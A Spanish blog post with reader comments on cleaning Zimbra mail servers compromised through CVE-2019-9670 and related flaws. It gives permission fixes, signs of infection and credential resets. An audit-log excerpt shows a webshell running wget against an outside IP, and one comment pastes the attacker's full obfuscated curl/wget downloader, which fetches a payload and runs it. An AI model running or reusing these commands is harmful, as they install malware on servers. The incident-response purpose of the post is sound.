Saludos amigos, hace mucho tiempo que no escribo sobre Zimbra, pero esta ocasión lo merece, ya que estoy respondiendo del orden de decenas de correos o tweets a diario con la misma incidencia.
Si estás usando Zimbra Collaboration y tienes cualquier de estos problemas:
- Webmail en blanco después del login
- Error al adjuntar ficheros, cuando antes no sucedía
- AJAX webmail not loading
Además de estos síntomas, estás ejecutando versiones de Zimbra inferiores a:
- Zimbra Collaboration 8.8.10 Patch 7 o 8.8.11 Patch 3
- Zimbra Collaboration 8.7.11 Patch 10
- Zimbra Collaboration 8.6 Patch 13
- Cualquier otra versión, ya sea 8.5, 8.0 o 7.x están desprotegidas
¡Lo más seguro es que es tu servidor Zimbra haya sido afectado debido a una vulnerabilidad grave!
Para más información, y antes de entrar en materia, os dejo los CVE por si queréis ojearlos:
- CVE-2016-9924
- CVE-2018-20160
- CVE-2019-9670
- CVE-2019-9621
Aparte de estas vulnerabilidades, hay algunas más que se mencionan en detalle en el siguiente blog post – https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html
Primer paso – COPIA DE SEGURIDAD
¿Tenéis ya backup de vuestro Zimbra? Si tenéis la versión de Network Edition, o Zextras, estar seguros que tenéis backups. De lo contrario, o adicionalmente, descargar Veeam Agent for Linux, que incluso la versión gratuita os permitirá realizar un backup entero del sistema.
Segundo paso – ACTUALIZAR
No importa en la versión que estéis, ya sea 8.8, o 8.7 o 8.6, lo más importante es iros a la web de descargas de Zimbra, y descargar el último parche o versión. Esto es obligatorio antes de hacer nada más.
Cómo solucionar el error del WebClient en blanco (AJAX Webmail not loading)
Esta solucion es muy sencilla, como simple paliativo ejecutar lo siguiente como usuario root:
cd /opt/zimbra/mailboxd
find webapps -type d -exec chmod 0755 {} \;
find webapps -type f -exec chmod 0644 {} \;
Y como siempre, reiniciar los servicios de Zimbra:
su - zimbra zmcontrol restart
De todas formas seguir leyendo el post porque no hemos terminado.
Cómo solucionar el error adjunto ficheros al WebClient
Esta solucion es muy sencilla, como simple paliativo ejecutar lo siguiente como usuario root:
chmod 0775 /opt/zimbra/data/tmp/upload
¿Cómo comprobar si estamos infectados?
La vulnerabilidad es bastante grave y no existe un único exploit, pero lo más normal es que el exploit que se está usando al menos cree un fichero en /tmp/zmcat con lo que si tenéis ese fichero en vuestros Zimbra Collaboration, seguir leyendo.
Además de este fichero, que se trata de un miner de Bitcoin, encontraremos en /tmp dos ejecutables llamados l.sh y s.sh.
El atacante hace uso de estos scripts para crear cuentas en el sistema, usuarios simples y administradores, aparte de poner unos ficheros .jsp y .java y .class en los directorios públicos del WebClient, podemos analizar el /opt/zimbra/log/audit.log y encontraremos algo así:
2019-03-28 06:20:57,744 INFO [qtp127618319-179157:http://1.2.3.4/service/soap] [name=zimbra;oip=212.200.106.194;port=37946;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2 851.RHEL5_64;] security - cmd=Auth; account=zimbra; protocol=soap; 2019-03-28 06:20:59,144 INFO [qtp127618319-179166:https:https://localhost:7071/service/admin/soap/AuthRequest] [name=zimbra;ua=ZCS/8.7.11_GA_1854;] security - cmd=AdminAuth; account=zimbra; 2019-03-28 06:20:59,144 INFO [qtp127618319-179166:https:https://localhost:7071/service/admin/soap/AuthRequest] [name=zimbra;ua=ZCS/8.7.11_GA_1854;] security - cmd=Auth; acco unt=zimbra; protocol=soap; 2019-03-28 06:20:59,294 INFO [qtp127618319-179164:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2851.RHEL5_64;] security - cmd=AdminAuth; account=zimbra; 2019-03-28 06:20:59,295 INFO [qtp127618319-179164:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2851.RHEL5_64;] security - cmd=Auth; account=zimbra; protocol=soap; 2019-03-28 06:21:06,355 INFO [qtp127618319-179171:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;] security - cmd=CreateAccount; [email protected]; 2019-03-28 06:21:07,976 INFO [qtp127618319-179165:http://1.2.3.4/downloads/LU4e.jsp] [] security - cmd=Auth; [email protected]; protocol=http_basic; 2019-03-28 06:21:10,463 INFO [qtp127618319-179170:http://1.2.3.4/downloads/LU4e.jsp?cmd=wget%20-O%20/opt/zimbra/jetty/webapps/zimbra/public/jsp/ynwD.jsp%20http://87.236.233.105/reports/tmp.txt] [] security - cmd=Auth; [email protected]; protocol=http_basic; 2019-03-28 06:21:22,810 INFO [qtp127618319-179139:http://1.2.3.4/downloads/LU4e.jsp?cmd=/opt/zimbra/bin/zmprov%20da%[email protected]] [] security - cmd=Auth; [email protected]; protocol=http_basic;
Recomendaciones para limpiar zmcat
Ya que no podemos estar 100% seguros del daño que ha realizado zmcat al sistema, además de las cuentas que ha creado, modificado, accedido, ficheros añadidos. Mi recomendación es que uséis la herramienta de migración de Zextras para migrar de vuestro servidor afectado a uno nuevo limpio, instalado de cero con la última versión. Ya sabéis que llevo muchos años escribiendo sobre Zimbra, con lo que espero este consejo os sirva.
Ahora bien, si queréis jugar a Indiana Jones y encontrar el tesoro oculto entre ficheros, directorios, etc.
- Comenzaremos viendo si el script se está ejecutando, y que procesos tiene con él:
ps faux | grep l\.sh
- Podéis buscar también por procesos que estén haciendo uso de wget.
- Eliminaremos todo lo que tengamos en /tmp/ por ejemplo el zmcat, los .sh, etc.
- También os recomiendo eliminar cualquier .jsp, and .java files creados en las últimas semanas, ya que seguramente tengan un nombre raro y sean parte de este ataque.
- Eliminar un fichero llamado ZimbraApps.jsp ya que es parte del ataque
- Sería recomendable cambiar todas las contraseñas del sistema, ya que el atacante ha tenido acceso completo al sistema, con lo que:
zmldappasswd <random> zmldappasswd -r <random> zmldappasswd -a <random> zmldappasswd -n <random> zmldappasswd -p <random> zmmypasswd <random> zmmypasswd --root <random>
- Es más, seguramente haya conseguido las claves de SSH, con lo que si queréis también cambiar estas claves:
su - zimbra zmsshkeygen zmupdateauthkeys
Gracias a maxxer por su blog tan detallado con el que he creado este.
Jorge gracias por el post, solo una corrección cuando das el permiso la ruta lo correcto es chmod 0775 /opt/zimbra/data/tmp/upload
Fantásticamente util este tips.
Horas de avance lento confirmadas y algunas dudas pendientes aclaradas.
Mil gracias gurú
Jorge muchas gracias, muy valioso el articulo. Agregar simplemente al parecer que una instalación mutiserver rompe al nodo que expone los servicios webs y no por ej a los storage. Eso me sucedió una de las instalaciones teniendo la versión Release 8.7.11.GA.1854.UBUNTU16.64 UBUNTU16_64 FOSS edition.
También pueden buscar con el usuario zimbra si se utilizó el wget que queda en el history de la siguiguiente forma:
history |egrep wget
tbin=$(command -v passwd); bpath=$(dirname “${tbin}”); curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “”
]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi; wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ];
then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “to bug-wget@gnu.org” && wget=”$f” && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i
“.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; rand=$(head /dev/urandom|tr -dc A-Za-z0-9|head -c $(shuf -i 4-16 -n 1); echo “”); if [ -z ${rand} ];
then rand=”.tmp”; fi; echo “${rand}” > “$(pwd)/.${rand}” 2>/dev/null && LPATH=”$(pwd)/.${rand}”; rm -f “$(pwd)/.${rand}” >/dev/null 2>&1; echo “${rand}” > “/tmp/.${rand}” 2>/dev/null && LPATH=”/
tmp/.${rand}”; rm -f “/tmp/.${rand}” >/dev/null 2>&1; (${curl} -fsSLk –retry 3 –connect-timeout 23 –max-time 75 http://185.162.235.211/ldm1 -o “${LPATH}”||${wget} –quiet –no-check-certific
ate –tries=3 –connect-timeout=23 –timeout=75 http://185.162.235.211/ldm1 -O “${LPATH}”) && chmod +x “${LPATH}” && sh “${LPATH}”
Saludos,
jorge que tal la solucion del web en banco no pudo solucionarme el problema en mi zimbra comunity 8.6 patch 14 instalado, pero yo no tengo el zmcat sino el zmswatch, encontre el
find /opt/ -name zmswatch*
/opt/zimbra/log/zmswatch
/opt/zimbra/log/zmswatch.sh
Apesar que los elimino y quito la tarea de cromtab pasan unos minutos y vuelve a ejecutarse el zmswatch todos los archivos y el zmswatch.sh consume 500% de mi procesador. espero ayuda. gracias.
Saludos Miguel,
Para este tema del zmswatch, ojea este foro paso a paso http://forums.zimbra.org/viewtopic.php?f=15&t=66213&sid=6b2c48fe079791de5c69e6333ef10553&start=100#p290804
Un saludo
En día Jorge fue de mucha ayuda este foro me resolvió los inconvenientes que tenía pero el día de hoy tengo otra afectación no puedo enviar ni recibir correos.
Si me puedes ayudar te agradezco mucho
excelente articulo, DESPUES DE ESTO AL REVISAR LOS CORREOS NO ME PERMITE DESCARGAR ADJUNTO, OSEA NO ME DA LA OPCION DE DESCARGAR SINO DE ELIMINAR
Tambien resulte afectado tengo zimbra 8.5 ya lo tengo arriba gracias al excelente post. es justo y necesario actualizar. pero una pregunta despues de aplicar estos consejos el zimbra no permite descargar archivos adjuntos. la opcion descargar no aparece. solo da la opcion de eliminar. en que me pueden ayurar
Saludos Ricardo,
No ha solución para 8.5, tienes que ir a 8.7 u 8.8 con último parche, en que versión estás?
Buen día Jorge fue de mucha ayuda este foro me resolvió los inconvenientes que tenía pero el día de hoy tengo otra afectación no puedo enviar ni recibir correos.
Si me puedes ayudar te agradezco mucho
Saludos Paul, no se que versión tienes, ni que error te está dando en los logs a la hora de enviar y recibir, te has planteado instalar un nuevo server y mover las cuentas con Zextras migration?
mi version actual es 8.8.12_GA:3803_FOSS. NO ME DALA OPCION DE DESCARGAR O HIPERVINCULO DEL ARCHIVO ADJUNTO. SOLO OPCION DE ELIMINAR
Saludos Ricardo,
Que raro, has ejecutado todos los pasos del blog? Has cambiado algo recientemente? Suena que tienes este problema https://wiki.zimbra.com/wiki/Users_are_unable_to_download_attachments_from_the_Web_Client
Tenia ayer problemas que no se cargaba zimbra y después no adjuntaba pero eso se soluciono con los comandos que en este foro están y estaba trabajando normalmente, pero el día de hoy no permite enviar ni recibir correos.
la versión que tengo es Release 8.6.0_GA_1153.RHEL6_64_20141215151155 RHEL6_64 FOSS edition, Patch 8.6.0_P4.
MI versión es 8.6.0 tenia problemas que no se cargaba el correo se lo arreglo, después no se podía adjuntar también se lo resolvió pero el día de hoy tengo el problema que no recibo ni puedo enviar correos.
Saludos Paul,
Mira en el zimbra.log, y mailbox.log, ahi veras errores mas detallados, sin ellos no puedo ayudar mucho.
Gracias Jorge por tu gentil ayuda.
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1622)
at com.zimbra.cs.servlet.ZimbraQoSFilter.doFilter(ZimbraQoSFilter.java:116)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1622)
at org.eclipse.jetty.servlets.DoSFilter.doFilterChain(DoSFilter.java:457)
at org.eclipse.jetty.servlets.DoSFilter.doFilter(DoSFilter.java:326)
at org.eclipse.jetty.servlets.DoSFilter.doFilter(DoSFilter.java:299)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1622)
at com.zimbra.webClient.filters.CharEncodingFilter.doFilter(CharEncodingFilter.java:37)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1622)
at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:549)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)
at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:544)
at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:221)
at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1111)
at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:478)
at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:183)
at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1045)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)
at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:199)
at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:109)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:97)
at org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:309)
at org.eclipse.jetty.server.handler.DebugHandler.handle(DebugHandler.java:81)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:97)
at org.eclipse.jetty.server.Server.handle(Server.java:462)
at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:279)
at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:232)
at org.eclipse.jetty.io.AbstractConnection$2.run(AbstractConnection.java:534)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:607)
at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:536)
at java.lang.Thread.run(Thread.java:745)
2019-05-29 14:58:26,992 INFO [qtp509886383-2116:https://127.0.0.1:7071/service/admin/soap/GetDomainInfoRequest%5D [ip=127.0.0.1;ua=ZCS/8.6.0_GA_1182;] soap – GetDomainInfoRequest elapsed=0
2019-05-29 14:58:27,565 INFO [qtp509886383-2102:https://192.168.0.235:443/service/soap/GetMiniCalRequest%5D [[email protected];mid=395;ip=192.168.0.211;ua=ZimbraWebClient – GC74 (Win)/8.6.0_GA_1182;] soap – GetMiniCalRequest elapsed=0
2019-05-29 14:58:27,776 INFO [qtp509886383-2118:https://192.168.0.235:443/service/soap/SearchRequest%5D [[email protected];mid=116;ip=190.63.119.221;ua=ZimbraWebClient – GC74 (Win)/8.6.0_GA_1182;] soap – SearchRequest elapsed=1
2019-05-29 14:58:27,959 INFO [qtp509886383-2114:https://192.168.0.235:443/service/soap/BatchRequest%5D [[email protected];mid=123;ip=186.4.229.131;ua=ZimbraWebClient – GC74 (Win)/8.6.0_GA_1182;] soap – BatchRequest
2019-05-29 14:58:27,959 INFO [qtp509886383-2114:https://192.168.0.235:443/service/soap/BatchRequest%5D [[email protected];mid=123;ip=186.4.229.131;ua=ZimbraWebClient – GC74 (Win)/8.6.0_GA_1182;] soap – (batch) GetMailboxMetadataRequest elapsed=0
2019-05-29 14:58:28,683 INFO [qtp509886383-2114:https://192.168.0.235:443/service/soap/AutoCompleteRequest%5D [[email protected];mid=100;ip=192.168.0.75;ua=ZimbraWebClient – GC74 (Win)/8.6.0_GA_1182;] gal – autocomplete: overall=65ms, ranking=12ms, folder=50ms, gal=3ms
2019-05-29 14:58:28,683 INFO [qtp509886383-2114:https://192.168.0.235:443/service/soap/AutoCompleteRequest%5D [[email protected];mid=100;ip=192.168.0.75;ua=ZimbraWebClient – GC74 (Win)/8.6.0_GA_1182;] soap – AutoCompleteRequest elapsed=66
2019-05-29 14:58:28,741 INFO [qtp509886383-2110:https://192.168.0.235:443/service/soap/SearchRequest%5D [[email protected];mid=116;ip=190.63.119.221;ua=ZimbraWebClient – GC74 (Win)/8.6.0_GA_1182;] soap – SearchRequest elapsed=8
May 29 15:06:06 mail zmconfigd[27956]: Tracking service opendkim
May 29 15:06:07 mail zmconfigd[27956]: Watchdog: skipping service antivirus. Service not yet available for restarts.
May 29 15:06:07 mail zmconfigd[27956]: All rewrite threads completed in 0.00 sec
May 29 15:06:07 mail zmconfigd[27956]: All restarts completed in 0.00 sec
May 29 15:06:10 mail slapd[27848]: slap_queue_csn: queing 0x7f62ee9fa140 20190529200610.077124Z#000000#000#000000
May 29 15:06:10 mail slapd[27848]: slap_graduate_commit_csn: removing 0x72dcb40 20190529200610.077124Z#000000#000#000000
May 29 15:06:10 mail postfix/amavisd/smtpd[25164]: disconnect from localhost[127.0.0.1]
May 29 15:06:15 mail amavis-services[30459]: PID 14010 went away,
May 29 15:06:20 mail postfix/smtps/smtpd[25003]: connect from unknown[185.222.209.99]
May 29 15:06:22 mail postfix/smtps/smtpd[25003]: Anonymous TLS connection established from unknown[185.222.209.99]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
May 29 15:06:28 mail saslauthd[32244]: zmauth: authenticating against elected url ‘https://mail.megaprofer.com:7071/service/admin/soap/’ …
May 29 15:06:28 mail saslauthd[32244]: zmpost: url=’https://mail.megaprofer.com:7071/service/admin/soap/’ returned buffer->data=’soap:Senderauthentication failed for [[email protected]]
account.AUTH_FAILEDqtp509886383-2332:https://192.168.0.235:7071/service/admin/soap/:1559160388318:3ea5bb4853e46692‘, hti->error=”May 29 15:06:28 mail saslauthd[32244]: auth_zimbra: [email protected] auth failed: authentication failed for [[email protected]]
May 29 15:06:28 mail saslauthd[32244]: do_auth : auth failure: [[email protected]] [service=smtp] [realm=megaprofer.com] [mech=zimbra] [reason=Unknown]
May 29 15:06:28 mail postfix/smtps/smtpd[25003]: warning: SASL authentication failure: Password verification failed
May 29 15:06:28 mail postfix/smtps/smtpd[25003]: warning: unknown[185.222.209.99]: SASL PLAIN authentication failed: authentication failure
May 29 15:06:30 mail postfix/smtps/smtpd[25003]: lost connection after AUTH from unknown[185.222.209.99]
May 29 15:06:30 mail postfix/smtps/smtpd[25003]: disconnect from unknown[185.222.209.99]
May 29 15:06:30 mail postfix/smtps/smtpd[25003]: connect from unknown[185.222.209.99]
May 29 15:06:32 mail postfix/smtps/smtpd[25003]: Anonymous TLS connection established from unknown[185.222.209.99]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
May 29 15:06:37 mail saslauthd[32234]: zmauth: authenticating against elected url ‘https://mail.megaprofer.com:7071/service/admin/soap/’ …
May 29 15:06:37 mail saslauthd[32234]: zmpost: url=’https://mail.megaprofer.com:7071/service/admin/soap/’ returned buffer->data=’soap:Senderauthentication failed for [compras]
account.AUTH_FAILEDqtp509886383-2317:https://192.168.0.235:7071/service/admin/soap/:1559160397902:3ea5bb4853e46692‘, hti->error=”May 29 15:06:37 mail saslauthd[32234]: auth_zimbra: compras auth failed: authentication failed for [compras]
May 29 15:06:37 mail saslauthd[32234]: do_auth : auth failure: [user=compras] [service=smtp] [realm=] [mech=zimbra] [reason=Unknown]
May 29 15:06:37 mail postfix/smtps/smtpd[25003]: warning: SASL authentication failure: Password verification failed
May 29 15:06:37 mail postfix/smtps/smtpd[25003]: warning: unknown[185.222.209.99]: SASL PLAIN authentication failed: authentication failure
May 29 15:06:38 mail postfix/smtps/smtpd[25003]: lost connection after AUTH from unknown[185.222.209.99]
May 29 15:06:38 mail postfix/smtps/smtpd[25003]: disconnect from unknown[185.222.209.99]
May 29 15:06:38 mail postfix/smtp[25196]: 2E10011C1523: to=ericks@proferreterias.com.ec, relay=mail.proferreterias.com.ec[107.180.51.9]:25, delay=62, delays=0.04/0.04/21/40, dsn=2.0.0, status=sent (250 OK id=1hW4wo-00ClYz-RP)
May 29 15:06:38 mail postfix/smtp[25196]: 2E10011C1523: to=jorge.rubio@proferreterias.com.ec, relay=mail.proferreterias.com.ec[107.180.51.9]:25, delay=62, delays=0.04/0.04/21/40, dsn=2.0.0, status=sent (250 OK id=1hW4wo-00ClYz-RP)
May 29 15:06:38 mail postfix/qmgr[32670]: 2E10011C1523: removed
May 29 15:06:38 mail postfix/smtp[25216]: 3E6C211C1533: to=ericks@proferreterias.com.ec, relay=mail.proferreterias.com.ec[107.180.51.9]:25, delay=62, delays=0.06/0.02/21/40, dsn=2.0.0, status=sent (250 OK id=1hW4wo-00ClZV-So)
May 29 15:06:38 mail postfix/smtp[25216]: 3E6C211C1533: to=jorge.rubio@proferreterias.com.ec, relay=mail.proferreterias.com.ec[107.180.51.9]:25, delay=62, delays=0.06/0.02/21/40, dsn=2.0.0, status=sent (250 OK id=1hW4wo-00ClZV-So)
May 29 15:06:38 mail postfix/qmgr[32670]: 3E6C211C1533: removed
Saludos, en este log aparte de ver que emails salen bien, veo algunos errores de autenticación en algunas cuentas, eso es todo
Jorge, como siempre se agradece el valioso aporte. tengo versión 8.5 pero pude neutralizar infección y solucionar problemas del adjunto. Tendré que migrar a una versión superior ya que para la 8.5 no existe nada.
Gracias y que estés muy bien!!!
Saludos, si lo mejor es usar Zextras migration tool para mover de tu 8.5 a un server 8.8 con el ultimo parche, un saludo
Muchas gracias por tu gentil ayuda, aparentemente si esta bien pero no puedo enviar ni recibir correos no se que pasa y aparte no puedo levantar unos servicios ya hago de todo y no hay como.
antivirus Stopped
zmclamdctl is not running
zmfreshclamctl is not running
ldap Running
logger Running
mailbox Running
memcached Running
mta Running
opendkim Stopped
zmopendkimctl is not running.
Saludos Jorge este error me sale en el log
May 29 16:42:06 mail amavis[15397]: (15397-01) (!)WARN: all primary virus scanners failed, considering backups
May 29 16:42:06 mail amavis[15397]: (15397-01) (!!)AV: ALL VIRUS SCANNERS FAILED
May 29 16:42:07 mail amavis[21848]: (21848-01) (!)connect to /opt/zimbra/data/clamav/clamav.sock failed, attempt #1: Can’t connect to a UNIX socket /opt/zimbra/data/clamav/clamav.sock: No such file or directory
Saludos Paul,
Suena mal, puedes parar los servicios de amavis y ver si funciona, te recomiendo igualmente, instalar un server nuevo con zimbra actualizado y usar la herramienta de zextras migration para mover los buzones.
Jorge buenas tardes, disculpa sabes si para la versión 8.8.7 hay parches?, estoy buscando en el sitio de zimbra pero no encuentro nada, en caso de que no exista, se puede migrar esta versión a la ultima de zimbra?
Saludos Miguel,
Para 8.8.7, no hay no, tienes que subir a la ultima Release, con lo que descarga el paquete de Zimbra, instalalo, y luego aplica el ultimo parche, haz un backup o snapshot antes.
Buena Noche. Quisiera saber si existe algun software adicional para realizar un scaneo y poder desinfectar el antivirus, mediante de herramientas, para el linux, adicional que mas se puede hacer para bloqueo por completo este tipo de ataques. gracias
John Ortiz
Saludos John,
Seguro las hay, pero como es un par de scripts manuales que inyectan los hackers, tus antivirus no lo detectaran como malo. Lo mejor, instalar un nuevo server y mover los emails con la herramienta de Zextras migration
Estimado Jorge cuando aplico el chmod 0775 /opt/zimbra/data/tmp/upload se vuelve a quitar los permisos recursivamente, haciendo que el problema persista alguna solucion para esto
Saludos Diego, esto es que el ransomware esta quitándote los privilegios de nuevo, lo mejor, despliega un server nuevo con última versión y mueve todos los mailboxes con zextras migration
Hola Diego,
Mientras se dan las condiciones para ejecutar la migración y hay que permanecer ocupado en el uptime del servidor “averiado”, para lo que indicas me ha funcionado lo siguiente :
– Eliminar recursivamente el directorio /tmp/.cache (rm -r /tmp/.cache), que contiene un ejecutable zombie que hay que bajar, llamado .kthrolds
Detectar IPs sospechosas con un netstat -a (En mi caso encontré un segmento de IPs Holandesas : 185.137.111.xxx conectadas a puertos altos con smtp) y las agregue a mi lista de no permitidas en mi firewall
Genere una copia del script zmfixperms y en esa copia agregue que me informe permisos y propiedades de lo que va a corregir, antes y despues del cambio. De ese modo al revisar la salida de la ejecucion del script puedo visualizar que directorios y/o archivos habian cambiado. Hasta ahora detectados
/opt/zimbra/mailboxd/webapps/zimbra/downloads
/opt/zimbra/mailboxd/webapps/zimbra/img
/opt/zimbra/data/tmp/upload
Gracias por los pasos Luis,
Mi consejo sigue siendo, crear un nuevo server con ultimo parche y mover con zextras migration, estoy leyendo que los atacantes están cambiando ficheros para hacerlos pasar por ficheros de zimbra
el ZeXtras migration tools es free, ya que tengo el mismo problema de zmcat que a pesar que ya limpie los tmp, cambie las credenciales. yo tengo el 8.7.11 y quiero migrarlo al 8.8.9
Si es gratuito, tendrias que irte a ZCS 8.8.12 que corrgie este problema https://zimbra.org/download/zimbra-collaboration
Hola Jorge, usted siempre es la luz de mis problemas en zimbra por años, muchas gracias.
Siempre recurro a su blog para asuntos del Zimbra que son muy valiosos. En este punto tambien me encuentro con el dilema de no poder adjuntar archivos, ya lo habia solventado con los permisos como muestras en estos pasos. Pero ahora la carpeta vuelve al estado anterior. Me gustaría confirmar lo siguiente:
1.- puedo aplicar el parche 8.7.11P10 con la version 8.7.1 (que es mi version actual) o que recomienda,
2. Al parecer mi problema es con el zmswatch, sera la causa que me cambia los permisos en mi carpeta /opt/zimbra/data/tmp/upload.
Cualquier apoyo al respecto nos sera de mucha ayuda. Saludos
Saludos Fanny, no, tendrías que descargar 8.7.11 https://zimbra.org/download/zimbra-collaboration instalarla como siempre encima de tu versión y luego aplicar el ultimo parche
Muchas gracias por su respuesta, haré como dice y estaré comentando el resultado.
Otra consulta, se puede aplicar los pasos de zmswatch con la versión 8.7.1, gracias
Si, los pasos para eliminar ese zmswatch pueden ser ejecutados para 8.7.1, pero como dije, mejor server nuevo e importar mailboxes con zextras migration tools
Hola Jorge, muy bueno tu aporte, en mi caso también experimenté algunas dificultades con zmswatch… pero al parecer todo bien. Tengo una consulta para ti y es particularmente en la instalación del patch 2 de la versión de zimbra 8.8.12 y es que en la página de descargas no encuentro el patch, de casualidad tu sabes ¿dónde lo puedo descargar?.
Gracias, saludos desde México
Saludos,
El parche se instala como siempre, aquí los pasos – https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.12/P2
Hola Jorge buen día, muchas gracias por toda tu ayuda. Tienes algún manual o referencia de como hacer la migracion con “zextras migration tools”, desde ya gracias.
Saludos.
Solo para compartir tengo la versión 8.5.1….he seguido varias de las indicaciones y hasta ayer funciono, hoy nuevamente aparecieron los problemas sobretodo el alto consumo de ancho de banda del server y no poder adjuntar archivos. Como es un equipo en producción no puedo migrar aún a nueva versión y probando pude estabilizar los servicios así:
La infección me dejo archivos en carpeta TMP que se encargan de levantar servicios y cambiar privilegios de carpeta UPLOAD
1) pare el servidor zimbra
2) existen dos archivos cbstat.pid y zmcheckexpiredcerts.pid, además dos carpetas hsperfdata_root y hsperfdata_data
3) Busque con el TOP todos los procesos que quedaron corriendo después de bajar zimbra
4) Obtuve PID y los Mate.
5) Cambie con CHMOD 0 todos los archivos y el contenido de las carpetas.
6) Inicie servidor zimbra
7) Para asegurar busque con pidof la ejecución con su PID para cbstat y zmcheckexpiredcerts
8) Mate todos los que salian
He estado constantemente monitoriando y hasta ahora por lo menos ha resultado llevando un par de horas sin problemas, todo esto claro mientras gano tiempo para hacer la migración de servidor definitivo.
Gracias Jorge x tu blog a muchos nos ayuda bastante.
Gracias por compartir tu experiencia ManGar.
Me encuentro en la misma situacion, y algo que me funcionó para este caso es revisar los ataques desde mi muro de fuego, por suerte encontre la IP que hacia la coneccion a mi servidor de correo por HTTPS, y lo bloquee. Eso detuvo los procesos del ataque en mi servidor, al menos me dara tiempo para mañana sabado poder hacer parchar mi servidor. Espero esto le ayude.
Saludos desde Honduras
Hola, si también habia hecho algo así pero el problema es que las IPS iban cambiando, por lo menos esto detuvo el ataque y me va a dar tiempo para hacer una migración más programada, ya llevo varias horas y todo bien.
Hola,
Tengo zimbra 8.7.5 y no fui infectado, puedo correrle el patch 8.7.11 P10?
o tengo que buscar alguno que sea 8.7.5???
porque no lo encuentro??
Estimo que tengo que realizar un upgrade a 8.7.11 y luego ejecutar el patch??
Te agradezco el tiempo y la respuesta!!
Saludos.
Saludos Alejandro,
Sube a 8.7.11 con el paquete de descarga y luego ya los pasos para actualizar parches de zimbra.
ManGar, gracias.
Nuestro caso es el mismo, un servidor en producción que no se podrá migrar inmediatamente
cbstat y zmcheckexpiredcerts eran los culpables de la pérdida constante del permiso de escritura para /opt/zimbra/data/tmp/upload
Resuelto con un chmod 0 para ambos
Buenas noticias entonces!
Saludos estimado López, soy nuevo en zimbra, tengo un servidor zimbra 8.6.0 me podrías ayudar con la ruta de los archivos para cambiar los permisos.
Gracias
Saludos Klever,
Lo mejor es que instales Zextras migration, y en un nuevo server vayas migrando las cuentas. Un saludo
Estimados
Encontre un modo de “contraatacar” el exploit que modifica los permisos de /opt/zimbra/data/tmp/download y de /opt/zimbra/mailboxd/webapps/zimbra/downloads.
Se necesita tener instalados en el servidor los comandos “strings” y “rpl”
rpl es un paquete adicional tremendamente util, como se va a ver a continuacion.
Se están ejecutando dos procesos que generan el daño. Estos procesos son cbstat y zmcheckexpiredcerts.
Ambos ejecutables están “pinchados” por el exploit.
Procedimiento como user root :
cd /opt/zimbra/cbpolicyd/bin
cp cbstat cbstat.old_pinchado
strings cbstat | grep downloads
strings cbstat | grep upload
La salida de ambos strings, nos muestra que el ejecutable este ejecutando un chmod -R -w sobre los directorios que pierden los permisos
Como es tedioso encontrar como parar el lanzamiento de esos procesos daemon, simplemente me colgué de lo mismo que hacen, ejecutando
rpl “chmod -R -w /opt/zimbra/data/tmp/upload” “chmod -R +w /opt/zimbra/data/tmp/upload” cbstat
Repetir lo mismo para el otro chmod que afecta a downloads
Luego ir al directorio “/opt/zimbra/lib” y hacer exactamente lo mismo para el ejecutable zmcheckexpiredcerts”
ps -ef | grep cbstat para ubicar el id de ese proceso y eliminarlo
Lo mismo para el otro proceso
Si no se ha detenido el origen de su lanzamiento, van a volver a aparecer rapidamente, pero ahora van a hacer el trabajo para el lado que nos conviene, es decir le van a devolver los permisos
Adicionalmente, se puede ejecutar como usuario zimbra, crontab -l para ver si el cron esta activando esos procesos y desactivarlos, pero la verdad es que ahora da lo mismo
Hecho todo esto, no deberia haber problemas de cambio de permisos, pero sigue activa la vulnerabilidad y no sabemos que otro objeto este “pinchado”
Espero le sirva a alguien para que invierta menos tiempo que yo en este desastre.
Saludos
Muchísimas gracias por su ayuda
